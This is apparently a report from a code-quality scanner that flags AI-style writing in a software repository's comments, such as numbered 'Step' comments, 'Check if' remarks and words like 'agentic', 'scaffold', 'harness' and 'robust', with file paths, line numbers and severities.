LOW…atch_exports/backend/temporal/backfill_batch_export.py896 # Step 1: Create backfill model with STARTING statusCOMMENT
LOW…atch_exports/backend/temporal/backfill_batch_export.py922 # Step 2: Get backfill info (validation + estimation)COMMENT
LOW…atch_exports/backend/temporal/backfill_batch_export.py940 # Step 3: Update backfill with adjusted start and estimated countCOMMENT
LOW…atch_exports/backend/temporal/backfill_batch_export.py976 # Step 4: Early exit if no data to backfillCOMMENT
LOW…s/backend/hogql_queries/conversion_goals_aggregator.py38 # Step 1: Generate individual conversion goal queries, parallelised across goalsCOMMENT
LOW…s/backend/hogql_queries/conversion_goals_aggregator.py112 # Step 2: UNION ALL the individual queriesCOMMENT
LOW…s/backend/hogql_queries/conversion_goals_aggregator.py118 # Step 3: Create final aggregation query that sums all conversion goalsCOMMENT
LOW…ng/skills/diagnosing-stacktrace-symbolication/SKILL.md38### Step 1 - Find how symbol data is produced and uploadedCOMMENT
LOW…ng/skills/diagnosing-stacktrace-symbolication/SKILL.md56### Step 2 - Build and inspect local artifactsCOMMENT
LOW…ng/skills/diagnosing-stacktrace-symbolication/SKILL.md65### Step 3 - Check symbol sets in PostHogCOMMENT
LOW…ng/skills/diagnosing-stacktrace-symbolication/SKILL.md99### Step 4 - Compare local, uploaded, and served filesCOMMENT
LOW…ng/skills/diagnosing-stacktrace-symbolication/SKILL.md111### Step 5 - Fix the most likely layerCOMMENT
LOWproducts/tasks/backend/prompts.py57## Step 1 - Verify the project buildsCOMMENT
LOWproducts/tasks/backend/prompts.py74## Step 2 - Commit the wizard's changes to a new branchCOMMENT
LOWproducts/tasks/backend/prompts.py100## Step 3 - Configure environment variables for productionCOMMENT
LOWproducts/tasks/backend/prompts.py117## Step 4 - Open the pull requestCOMMENT
411 more matches not shown…
Verbosity Indicators363 hits · 661 pts
SeverityFileLineSnippetContext
LOW…c/cdp/consumers/cdp-cohort-membership.consumer.test.ts100 // Step 1: Person enters the cohortCOMMENT
LOW…c/cdp/consumers/cdp-cohort-membership.consumer.test.ts126 // Step 2: Person leaves the cohortCOMMENT
LOW…c/cdp/consumers/cdp-cohort-membership.consumer.test.ts154 // Step 3: Person re-enters the cohortCOMMENT
LOW…rc/cdp/consumers/cdp-precalculated-filters.consumer.ts180 // Step 1: Parse all messages and group by team_idCOMMENT
LOW…rc/cdp/consumers/cdp-precalculated-filters.consumer.ts205 // Step 2: Fetch all realtime supported filters for all teams in one queryCOMMENT
LOW…rc/cdp/consumers/cdp-precalculated-filters.consumer.ts209 // Step 3: Process each team's events with their realtime supported filtersCOMMENT
LOW…cdp/services/hogflows/hogflow-executor.service.test.ts602 // Step 1: run first action (function_id_1)COMMENT
LOW…cdp/services/hogflows/hogflow-executor.service.test.ts621 // Step 2: run again, should NOT exit early due to exit_only_at_endCOMMENT
LOW…cdp/services/hogflows/hogflow-executor.service.test.ts2191 // Step 1: Hogflow worker executes (queue !== 'email') — should route to email queueCOMMENT
LOW…cdp/services/hogflows/hogflow-executor.service.test.ts2197 // Step 2: Email worker picks up the job (queue === 'email') — should send inline and continueCOMMENT
LOW…ejs/src/ingestion/framework/docs/12-filter-map.test.ts64 // Step 1: Resolve team from teamId (some lookups may fail)COMMENT
LOW…ejs/src/ingestion/framework/docs/12-filter-map.test.ts81 // Step 2: Process event (runs within teamAware context)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts15// Step 1: UUIDs and request IDs (e.g., req_abc123, 550e8400-e29b-41d4-a716-446655440000)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts18// Step 2: ISO timestamps (e.g., 2025-11-08T14:25:51.767Z)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts21// Step 3: Cloud resource paths (e.g., projects/123/locations/us-west2/publishers/google/models/gemini-pro)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts24// Step 4: ResponseId JSON fields (e.g., "responseId":"h2sPacmZI4OWvPEPvIS16Ac")COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts27// Step 5: Generic JSON "id" fields (e.g., "id": "oJf6eVw-z1gNr-99c2d11d156dff07")COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts36// Step 7: Function call IDs (e.g., function call call_edLiisyOJybNZLouC6MCNxyC)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts39// Step 8: User IDs (e.g., 'user_id': 'user_32yQoBNWxpvzxVJG0S0zxnnVSCJ')COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts43// Step 9: Memory object IDs / hex addresses (e.g., 0xfffced405130)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts46// Step 10: Generic id='xxx' patterns (case insensitive)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts49// Step 11: Token counts (e.g., "tokenCount":7125 or "tokenCount": 7125)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts52// Step 12: Large numeric IDs (9+ digits, e.g., project IDs like 1234567890)COMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts55// Step 13: All remaining numbersCOMMENT
LOW…s/src/ingestion/pipelines/ai/errors/normalize-error.ts58// Step 14: Multiple whitespaceCOMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1282 // Step 1: Cache the target person (simulating fetchForUpdate)COMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1289 // Step 2: Update target person with merged properties (simulating updatePersonForMerge)COMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1316 // Step 3: moveDistinctIds - this should preserve the merged cacheCOMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1325 // Step 4: Verify that cached merged properties are preservedCOMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1457 // Step 1: Cache target personCOMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1464 // Step 2: Multiple merge operationsCOMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1488 // Step 3: moveDistinctIdsCOMMENT
LOW…tion/common/persons/batch-writing-person-store.test.ts1496 // Step 4: Verify all merged properties are preservedCOMMENT
LOW…ommon/overflow-redirect/main-lane-overflow-redirect.ts81 // Step 1: Check local cacheCOMMENT
LOW…ommon/overflow-redirect/main-lane-overflow-redirect.ts105 // Step 2: Batch check Redis for cache misses using MGETCOMMENT
LOW…ommon/overflow-redirect/main-lane-overflow-redirect.ts132 // Step 3: Check rate limiter for unflagged keysCOMMENT
LOW…ommon/overflow-redirect/main-lane-overflow-redirect.ts150 // Step 4: Batch flag newly rate-limited keys in RedisCOMMENT
LOWtools/hogli-commands/hogli_commands/migrations.py854 # Step 1: Roll back orphaned migrationsCOMMENT
LOWtools/hogli-commands/hogli_commands/migrations.py876 # Step 2: Apply pendingCOMMENT
LOWtools/hogli-commands/hogli_commands/doctor.py613 # Step 1: Prune stale remote branchesCOMMENT
LOWtools/hogli-commands/hogli_commands/doctor.py619 # Step 2: Expire old reflogs (keep 30 days for safety)COMMENT
LOWtools/hogli-commands/hogli_commands/doctor.py625 # Step 3: Run gc --aggressive (this can take 1-2 minutes)COMMENT
LOWproducts/mcp_store/backend/oauth.py264 # Step 1: Try RFC 9728 Protected Resource Metadata to find the authorization serverCOMMENT
LOWproducts/mcp_store/backend/oauth.py293 # Step 2: Fall back to fetching authorization server metadata directly from the origin.COMMENT
LOW…atch_exports/backend/temporal/backfill_batch_export.py896 # Step 1: Create backfill model with STARTING statusCOMMENT
LOW…atch_exports/backend/temporal/backfill_batch_export.py922 # Step 2: Get backfill info (validation + estimation)COMMENT
LOW…atch_exports/backend/temporal/backfill_batch_export.py940 # Step 3: Update backfill with adjusted start and estimated countCOMMENT
LOW…atch_exports/backend/temporal/backfill_batch_export.py976 # Step 4: Early exit if no data to backfillCOMMENT
LOW…ics/backend/hogql_queries/conversion_goal_processor.py2310 # For ActionsNode, we need to check if this is an action conditionCOMMENT
LOW…s/backend/hogql_queries/conversion_goals_aggregator.py38 # Step 1: Generate individual conversion goal queries, parallelised across goalsCOMMENT
LOW…s/backend/hogql_queries/conversion_goals_aggregator.py112 # Step 2: UNION ALL the individual queriesCOMMENT
LOW…s/backend/hogql_queries/conversion_goals_aggregator.py118 # Step 3: Create final aggregation query that sums all conversion goalsCOMMENT
LOW…rehouse/backend/tests/api/test_external_data_source.py4898 # Step 1: GET the source (simulating user opening the config page)COMMENT
LOW…rehouse/backend/tests/api/test_external_data_source.py4903 # Step 2: PATCH with the exact data from GET (simulating user saving without changes)COMMENT
LOW…rehouse/backend/tests/api/test_external_data_source.py6660 # Step 1: GET the source - should properly read auth_type and return as authCOMMENT
LOW…rehouse/backend/tests/api/test_external_data_source.py6669 # Step 2: PATCH with the exact data from GETCOMMENT
LOW…ndpoints/backend/tests/test_insight_response_parity.py127 # Step 1: Execute inline — establish the baseline shapeCOMMENT
LOW…ndpoints/backend/tests/test_insight_response_parity.py136 # Step 2: Set up materializationCOMMENT
LOW…ndpoints/backend/tests/test_insight_response_parity.py139 # Step 3: Mock process_query_model to return flat HogQL dataCOMMENT
LOW…ndpoints/backend/tests/test_insight_response_parity.py185 # Step 1: Inline baselineCOMMENT
303 more matches not shown…
Modern AI Meta-Vocabulary212 hits · 658 pts
SeverityFileLineSnippetContext
MEDIUMdocker-compose.profiles.yml21 # Temporal capability - workflow orchestrationCOMMENT
MEDIUMtools/query-performance-ai/ruff.toml4# Pi plugin and in-sandbox driver scripts use stdout as their orchestrationCOMMENT
MEDIUMtools/pr-approval-agent/reviewer.py43# of the model's context window, so these are generous — they exist to capCOMMENT
MEDIUMtools/pr-approval-agent/reviewer.py198# Operational scaffolding kept in code: tool instructions, the grep-before-flagSTRING
MEDIUMtools/pr-approval-agent/reviewer.py201# file. Recomposition is a single seam (guidance then scaffold tail).STRING
MEDIUMtools/pr-approval-agent/reviewer.py203# without it the "Tools:" scaffold would butt directly against the last normsSTRING
MEDIUMtools/hogli-commands/README.md81 └── product/ # Product scaffolding subpackage (lazy)CODE
MEDIUM…s/hogli-commands/hogli_commands/product_structure.yaml89# We deliberately do not scaffold `__init__.py` files for `backend/`,COMMENT
MEDIUM…ols/hogli-commands/hogli_commands/tests/test_checks.py1118 # facade/contracts.py is just scaffolding, not a commitment toSTRING
MEDIUMtools/hogli-commands/hogli_commands/product/isolate.py232 lines.append("\n## Facade submodules to scaffold")CODE
MEDIUMproducts/mcp_store/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/metrics/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/batch_exports/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/cdp/mcp/cdp_functions.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/cdp/mcp/cdp_function_templates.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/feature_flags/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/tracing/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/mcp_analytics/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUM…ucts/mcp_analytics/skills/improving-mcp-tools/SKILL.md67## Hard guardrailsCOMMENT
MEDIUMproducts/marketing_analytics/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/error_tracking/mcp/error_tracking_alerts.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/error_tracking/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/tasks/backend/facade/api.py1510# moving all ORM access and Temporal/Slack/S3 orchestration behind the facade. Visibility onCOMMENT
MEDIUMproducts/tasks/backend/facade/api.py3104# orchestration (title generation, signal-report linkage, workflow triggers, S3 artifactCOMMENT
MEDIUMproducts/tasks/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/data_warehouse/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/endpoints/backend/logic/execution.py125# Cost guardrails + transient capacity: customer problems, not faults. Skipped from capture andCOMMENT
MEDIUMproducts/endpoints/backend/logic/execution.py100# Deterministic, customer-caused ClickHouse cost guardrails → stable client `code` + remediation.COMMENT
MEDIUMproducts/endpoints/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/user_interviews/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/visual_review/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/experiments/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/signals/ARCHITECTURE.md1163│ │ ├── AGENTS.md # Documentation for the agentic report generation flowCODE
MEDIUMproducts/signals/ARCHITECTURE.md1164│ │ ├── research.py # Multi-turn sandbox research orchestration + output schemas + research task_run arCODE
MEDIUMproducts/signals/backend/models.py264 # summary / agentic research (READY: every signal; resolved: recurrence of the issue)COMMENT
MEDIUMproducts/signals/backend/views.py1684 # part of the agentic pipeline contract and must not be hand-edited.COMMENT
MEDIUMproducts/signals/backend/temporal/summary.py197 # 3. Run safety judge first to avoid passing unsafe report into the agentic researchCOMMENT
MEDIUMproducts/signals/backend/temporal/summary.py228 # 4. Select repository for the agentic researchCOMMENT
MEDIUMproducts/signals/backend/temporal/summary.py255 # 5. Run the agentic report research flow with the selected repository to use code/MCP data to assess siCOMMENT
MEDIUM…ts/signals/backend/temporal/agentic/scout_scheduler.py28 # runner -> temporal.agentic -> scout_coordinator -> scout_scheduler -> runner.COMMENT
MEDIUMproducts/signals/backend/temporal/agentic/report.py95 # Only types we care about for the agentic report generationCOMMENT
MEDIUMproducts/signals/backend/temporal/agentic/report.py212 # orchestrates auto-start explicitly, so appends opt out of the model's auto-startCOMMENT
MEDIUMproducts/signals/backend/temporal/agentic/report.py354 # 3. Run the agentic research in the sandboxCOMMENT
MEDIUMproducts/signals/backend/custom_agent/PLAN.md31 cursed_comment_agent.py # realistic example (repo research + agentic resolvers)CODE
MEDIUMproducts/signals/backend/custom_agent/PLAN.md32 auto_start.py # shared with the agentic signals pipelineCODE
MEDIUMproducts/signals/backend/test/test_scout_harness.py253 # Shared scaffolding is still present on both personas.COMMENT
MEDIUM…nals/backend/test/test_signal_report_artefact_model.py67 # The agentic pipeline appends _AGENTIC_ARTEFACT_TYPES versions on every run. The set mustCOMMENT
MEDIUMproducts/signals/backend/management/AGENTS.md99## Repository selection (agentic)COMMENT
MEDIUMproducts/signals/backend/management/CLAUDE.md99## Repository selection (agentic)COMMENT
MEDIUM…ackend/management/commands/run_custom_agent_example.py10 # Cursed-comment finder (real research against a repo, agentic resolvers)STRING
MEDIUMproducts/signals/backend/scout_report/persistence.py163 # the scout's task. This keeps an agentic report auditable as NOT pipeline-generated (aCOMMENT
MEDIUMproducts/signals/backend/report_generation/research.py22# eager-imports agentic -> report -> back into this module, forming a circular import.COMMENT
MEDIUM…ducts/signals/backend/report_generation/select_repo.py32 # __init__ (agentic -> back into report_generation), a circular import. SignalData isCOMMENT
MEDIUMproducts/signals/backend/scout_harness/tools/report.py332 # temporal/agentic + sandbox stack off this harness-tool module's import path (it loads at worker boot).COMMENT
MEDIUMproducts/signals/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/signals/skills/inbox-exploration/SKILL.md20Inbox is part of [PostHog Code](https://posthog.com/code), PostHog's agentic surface forCODE
MEDIUM…s/authoring-scouts/references/lifecycle-and-testing.md73hogli init:skill # scaffold a new skill directoryCODE
MEDIUMproducts/platform_features/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/product_analytics/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
MEDIUMproducts/engineering_analytics/mcp/tools.yaml3# pnpm --filter=@posthog/mcp run scaffold-yaml -- --sync-allCOMMENT
152 more matches not shown…
Redundant / Tautological Comments333 hits · 480 pts
SeverityFileLineSnippetContext
LOWtools/infra-scripts/clitools/toolbox/pod.py124 # Check if we should print an updateCOMMENT
LOWtools/hogli/src/hogli/manifest.py276 # Check if any manifest command shares this prefixCOMMENT
LOWtools/hogli/src/hogli/validate.py26 # Check if executable and not a config fileCOMMENT
LOWtools/hogli-commands/hogli_commands/migrations.py929 # Check if already cachedCOMMENT
LOWtools/hogli-commands/hogli_commands/doctor.py454 # Check if cargo is availableCOMMENT
LOWtools/hogli-commands/hogli_commands/doctor.py831 # Check if this is a workspace root or standalone packageCOMMENT
LOWtools/hogli-commands/hogli_commands/doctor.py1164 # Check if the parent is a known process managerCOMMENT
LOWtools/hogli-commands/hogli_commands/product/maturity.py449 # Check if the facade is real (has function definitions, not re-exports)COMMENT
LOWproducts/demo/backend/logic/products/hedgebox/models.py380 # Check if it's nightCOMMENT
LOWproducts/demo/backend/logic/products/hedgebox/models.py383 # Check if it's 9 to 5 on a work dayCOMMENT
LOWproducts/demo/backend/logic/products/spikegpt/models.py111 # Check if it's nightCOMMENT
LOWproducts/demo/backend/logic/products/spikegpt/models.py114 # Check if it's 9 to 5 on a work dayCOMMENT
LOWproducts/slack_app/backend/api.py3679 # Check if we own this context locallyCOMMENT
LOW…atch_exports/backend/temporal/backfill_batch_export.py996 # Set timeout to a month for now, as unending backfills are an internal feature we areCOMMENT
LOW…ackend/temporal/destinations/snowflake_batch_export.py744 # Check if we've exceeded the timeoutCOMMENT
LOW…d/tests/temporal/destinations/snowflake/test_client.py87 # Check if the query was actually cancelled/aborted in SnowflakeCOMMENT
LOWproducts/batch_exports/backend/api/batch_export.py987 # Check if offset fields are in the request (for PATCH, distinguish between absent and None)COMMENT
LOWproducts/cdp/backend/tasks/hog_functions.py46 # Check if this team references the cohort in its test_account_filtersCOMMENT
LOWproducts/cdp/backend/api/hog_function.py838 # Check if backfill is already enabledCOMMENT
LOWproducts/feature_flags/backend/flags_cache.py572 # Check if evaluation_metadata is present in cached data.COMMENT
LOWproducts/feature_flags/backend/max_tools.py406 # Check if any group has a rollout percentageCOMMENT
LOW…s/feature_flags/backend/test/test_feature_flag_sync.py245 # Set lock to prevent executionCOMMENT
LOW…feature_flags/backend/api/organization_feature_flag.py288 # Check if the user is allowed to edit the flag using new access controlCOMMENT
LOW…feature_flags/backend/api/organization_feature_flag.py467 # Set method to PATCH for updates, POST for new creationsCOMMENT
LOWproducts/feature_flags/backend/api/feature_flag.py1594 # Check if the referenced flag is activeCOMMENT
LOWproducts/feature_flags/backend/api/feature_flag.py1817 # Check if flag is used in session replay settingsCOMMENT
LOWproducts/feature_flags/backend/api/feature_flag.py1857 # Check if this flag depends on any disabled flagsCOMMENT
LOWproducts/feature_flags/backend/api/feature_flag.py4220 # Check if user has editor or higher access to feature flags for this teamCOMMENT
LOW…hogql_queries/marketing_analytics_base_query_runner.py849 # Check if this is an aggregated query (no GROUP BY)COMMENT
LOW…ogql_queries/marketing_analytics_table_query_runner.py82 # Check if there are more resultsCOMMENT
LOW…marketing_analytics/backend/hogql_queries/constants.py482 # Check if it's a StrEnum (has __members__)COMMENT
LOW…marketing_analytics/backend/hogql_queries/constants.py674 # Check if it's a base columnCOMMENT
LOW…marketing_analytics/backend/hogql_queries/constants.py681 # Check if it's a conversion goal or cost per conversionCOMMENT
LOW…ics/backend/hogql_queries/conversion_goal_processor.py2312 # Check if this condition comes from action_to_expr (complex action conditions)COMMENT
LOW…eries/non_integrated_conversions_table_query_runner.py97 # Check if there are more resultsCOMMENT
LOW…ts/error_tracking/backend/logic/tools/search_issues.py203 # Set searchQuery to empty string if None (matches dashboard behavior)STRING
LOW…dpoints/backend/tests/test_variable_materialization.py2300 # Check if this row matches all variable valuesCOMMENT
LOWproducts/endpoints/backend/logic/execution.py378 # Check if materialized data is stale. Keyed on the version's freshness target, notCOMMENT
LOWproducts/endpoints/backend/logic/execution.py389 # Check if variables are valid for materialized executionCOMMENT
LOWproducts/experiments/backend/experiment_service.py3167 # Check if saved_metric assignment has changedCOMMENT
LOW…ckend/hogql_queries/experiment_funnel_query_builder.py562 # Check if any step is a data warehouse nodeSTRING
LOW…ments/backend/hogql_queries/hogql_aggregation_utils.py57 # Check if the expression is a function callCOMMENT
LOW…backend/hogql_queries/experiment_mean_query_builder.py104 # Check if this is a session property metric - use special CTE structureSTRING
LOW…backend/hogql_queries/experiment_mean_query_builder.py165 # Check if this is a session property metric - use different placeholdersSTRING
LOW…backend/hogql_queries/experiment_mean_query_builder.py254 # Check if we need to apply winsorization (outlier handling)STRING
LOW…ts/experiments/backend/hogql_queries/error_handling.py90 # Check if error is an instance of any of the registered typesCOMMENT
LOW…end/hogql_queries/experiment_exposures_query_runner.py293 # Set limit to avoid being cut-off by the default 100 rows limitCOMMENT
LOW…experiments/backend/hogql_queries/funnel_validation.py194 # Check if there are any DW stepsCOMMENT
LOWproducts/experiments/backend/hogql_queries/utils.py528 # Check if we can perform statistical analysisCOMMENT
LOWproducts/experiments/backend/hogql_queries/utils.py631 # Check if we can perform statistical analysisCOMMENT
LOW…riments/backend/hogql_queries/funnels_statistics_v2.py183 # Check if any variant has high enough probabilityCOMMENT
LOW…xperiments/backend/hogql_queries/breakdown_injector.py124 # Check if this is an unordered funnel (has exposures CTE with LEFT JOIN)COMMENT
LOW…ckend/hogql_queries/experiment_funnels_query_runner.py196 # Check if "control" is presentCOMMENT
LOW…ckend/hogql_queries/experiment_funnels_query_runner.py203 # Check if at least one of the test variants is presentCOMMENT
LOW…ments/backend/hogql_queries/experiment_query_runner.py211 # Check if this is a data warehouse queryCOMMENT
LOW…ts/backend/hogql_queries/trends_statistics_v2_count.py148 # Check if any variant has a high enough probability of being bestCOMMENT
LOW…ackend/hogql_queries/experiment_trends_query_runner.py387 # Check if "control" is presentCOMMENT
LOW…ackend/hogql_queries/experiment_trends_query_runner.py393 # Check if at least one of the test variants is presentCOMMENT
LOW…/experiments/backend/hogql_queries/base_query_utils.py123 # Check if the source has a math type that indicates continuous valuesCOMMENT
LOW…ckend/hogql_queries/trends_statistics_v2_continuous.py170 # Check if any variant has a high enough probability of being bestCOMMENT
273 more matches not shown…
AI Slop Vocabulary178 hits · 439 pts
SeverityFileLineSnippetContext
MEDIUM…ng/logs-sampling.rate-limit-impact.integration.test.ts164 // ~10× over the limit → a large share is dropped. We assert a robust floor rather than anCOMMENT
MEDIUMnodejs/src/cdp/services/hogflows/hogflow-utils.ts115// rather than the compiled bytecode is robust to bytecode/version changes (no need to enumerate theCOMMENT
MEDIUMnodejs/src/common/kafka/producer.ts156 // NOTE: The MessageHeader type is super weird. Essentially you are passing in a record and it expects a strCOMMENT
MEDIUMnodejs/src/logs/sampling/compile-rules.ts74 // case at write time, but the ingestion path stays robust to legacy or hand-crafted rows.COMMENT
LOWtools/hogli/src/hogli/command_types.py243 # If not relative to repo root, just return the nameCOMMENT
LOW…s/hogli-commands/hogli_commands/product_structure.yaml421 __init__: false # just create the folderCODE
LOW…s/hogli-commands/hogli_commands/product_structure.yaml424 __init__: false # just create the folderCODE
LOW…s/hogli-commands/hogli_commands/product_structure.yaml427 __init__: false # just create the folderCODE
LOW…s/hogli-commands/hogli_commands/product_structure.yaml430 __init__: false # just create the folderCODE
LOW…backend/temporal/destinations/redshift_batch_export.py268 # as we have just set cursor_factory.COMMENT
MEDIUM…ests/temporal/destinations/databricks/test_workflow.py219 """Reduce the poll interval for the Databricks client, in order to speed up the tests."""STRING
LOW…/backend/tests/temporal/destinations/redshift/utils.py130 # to determine if it is empty. If it is, we can just set the value toCOMMENT
MEDIUM…ducts/batch_exports/backend/tests/temporal/utils/s3.py48 # To facilitate comparison, we isoformat the dates.COMMENT
LOWproducts/cdp/backend/api/hog_function.py440 # For non-transformation types, just create normallyCOMMENT
LOWproducts/feature_flags/backend/api/feature_flag.py1205 # If we see this, just return the current filtersCOMMENT
MEDIUM…ytics/backend/management/commands/seed_mcp_sessions.py59# harness buckets (Claude Code, OpenAI Codex, Cursor, Claude.ai, VS Code). Weighted toward theCOMMENT
MEDIUM…cts/mcp_analytics/backend/hogql_queries/tool_tables.py74# A per-row distinct-and-sorted list of resolved harness labels, collected from theCOMMENT
MEDIUM…p_analytics/backend/hogql_queries/harness_breakdown.py70 # The harness label and token are HogQL fragments from mcp_harness; parse themCOMMENT
MEDIUM…ackend/hogql_queries/test_conversion_goal_processor.py108 """Create comprehensive test data covering various scenarios"""STRING
MEDIUMproducts/tasks/backend/models.py590 # `runtime_adapter` selects the harness (claude | codex) and the agent server derivesCOMMENT
MEDIUM…mporal/process_task/activities/relay_sandbox_events.py162 # harness). Exit quietly — logger and Redis are already unusable here,COMMENT
MEDIUMproducts/tasks/backend/logic/stream/redis_stream.py589 # transaction guards against can't happen under the test harness.COMMENT
MEDIUMproducts/tasks/backend/logic/services/docker_sandbox.py405 # Opt-in bind-mount for local skills. Set by the eval harness soCOMMENT
MEDIUM…ducts/data_warehouse/backend/models/test/test_table.py699 # Assert this is a comprehensive list of all possible ClickHouse typesCOMMENT
MEDIUMproducts/endpoints/backend/tests/test_endpoint.py646 """Test creating a endpoint with a comprehensive TrendsQuery containing many fields."""STRING
MEDIUMproducts/experiments/backend/experiment_service.py2596 # from the backend is already more robust (while not ideal).COMMENT
LOW…experiments/backend/test/test_recalculation_service.py227 # and we just set query_to on the recalc above.COMMENT
LOW…riments/backend/test/test_metrics_recalculation_api.py137 # and we just set query_to on the recalc above.COMMENT
MEDIUMproducts/experiments/backend/test/test_facade.py104 """Test creating experiment with comprehensive field set."""STRING
MEDIUM…ckend/hogql_queries/experiment_funnel_query_builder.py147 # Use separate exposures CTE to leverage precomputed exposure cache when available.STRING
LOW…/experiments/backend/hogql_queries/base_query_utils.py458 # Default to include all events selected, so we just set a large value here (3 years)COMMENT
LOW…ents/backend/hogql_queries/experiment_metric_values.py73 # No conversion window limit - just return true since temporal filteringCOMMENT
MEDIUMproducts/experiments/stats/bayesian/utils.py294 # Use comprehensive shared validationCOMMENT
MEDIUMproducts/signals/backend/views.py780 # working against?") and by the agent harness to fan commit artefacts out to them. Uses theCOMMENT
MEDIUM…ts/signals/backend/temporal/agentic/scout_scheduler.py27 # Type-only: importing the harness runner at module load would close the cycleCOMMENT
MEDIUM…/signals/backend/temporal/agentic/scout_coordinator.py192 # harness-seeded rows the team hasn't edited, so a content change rolls out within oneCOMMENT
MEDIUM…/signals/backend/temporal/agentic/scout_coordinator.py217 # on the scout's NEXT RUN for any harness-seeded row the team hasn't forked. What theCOMMENT
MEDIUM…als/backend/custom_agent/examples/cookie_poem_agent.py15 # Direct, no Temporal harness (useful for testing the agent locally)STRING
MEDIUMproducts/signals/backend/emission/jira_issues.py164 # depends on the warehouse sync, so wrap in toString(...) + parseDateTimeBestEffort to be robustCOMMENT
MEDIUMproducts/signals/backend/test/test_scout_coordinator.py111 # Default to a canonical (harness-seeded) skill — the realistic case; pass seeded=False for aCOMMENT
MEDIUMproducts/signals/backend/test/test_scout_harness.py174 # project-profile harness tool, eliminating the discovery-burn theCOMMENT
MEDIUMproducts/signals/backend/test/test_scout_harness.py178 # The base prompt teaches the agent to call the harness MCP tools by name.COMMENT
MEDIUMproducts/signals/backend/test/test_scout_harness.py189 # evolves its vocabulary in the scout loop; the harness only carries the nudge.COMMENT
MEDIUMproducts/signals/backend/test/test_scout_harness.py224 # The two highest-leverage nudges the report channel adds: search the inboxCOMMENT
MEDIUMproducts/signals/backend/test/test_scout_harness.py261 # scout (harness-seeded row on an on-disk fleet name) must never see theCOMMENT
MEDIUM…ducts/signals/backend/test/test_scout_harness_tools.py841 # Flip the org gate that emit_signal() checks. Without the harness preflight, theCOMMENT
MEDIUM…s/signals/backend/test/test_scout_harness_lazy_seed.py745 # A harness-seeded row missing `canonical_hash` (only reachable for rows seeded beforeCOMMENT
MEDIUMproducts/signals/backend/test/test_scout_harness_api.py677 # is rejected, so authenticate with the scout-internal token like the harness does.COMMENT
MEDIUMproducts/signals/backend/test/test_scout_harness_api.py570 # The harness preflight mirrors `emit_signal()`'s downstream gates: the orgCOMMENT
MEDIUMproducts/signals/backend/test/test_scout_harness_api.py1010 # canonical scout; `signals-scout-my-fork` is a name the harness never ships.COMMENT
MEDIUM…ackend/management/commands/run_custom_agent_example.py14 # Override the prompt, or run in-process without the Temporal harnessSTRING
MEDIUM…kend/management/commands/reset_signals_self_driving.py138 # seeding harness. We partition by SET DIFFERENCE (all scout names minus seededCOMMENT
MEDIUMproducts/signals/backend/scout_report/persistence.py60# its own observations; this is a harness circuit breaker, mirroring `MAX_EVIDENCE_ENTRIES` on emit.COMMENT
MEDIUMproducts/signals/backend/scout_report/persistence.py144 # can't corrupt a foreign team's `emitted_report_ids`. The harness tool already gates this withCOMMENT
MEDIUMproducts/signals/backend/scout_harness/runner.py137 # Creates rows for newly-shipped specialists, updates harness-seeded rows the teamCOMMENT
MEDIUMproducts/signals/backend/scout_harness/runner.py396 # `signals_scout` is the harness's own scope posture: project reads +COMMENT
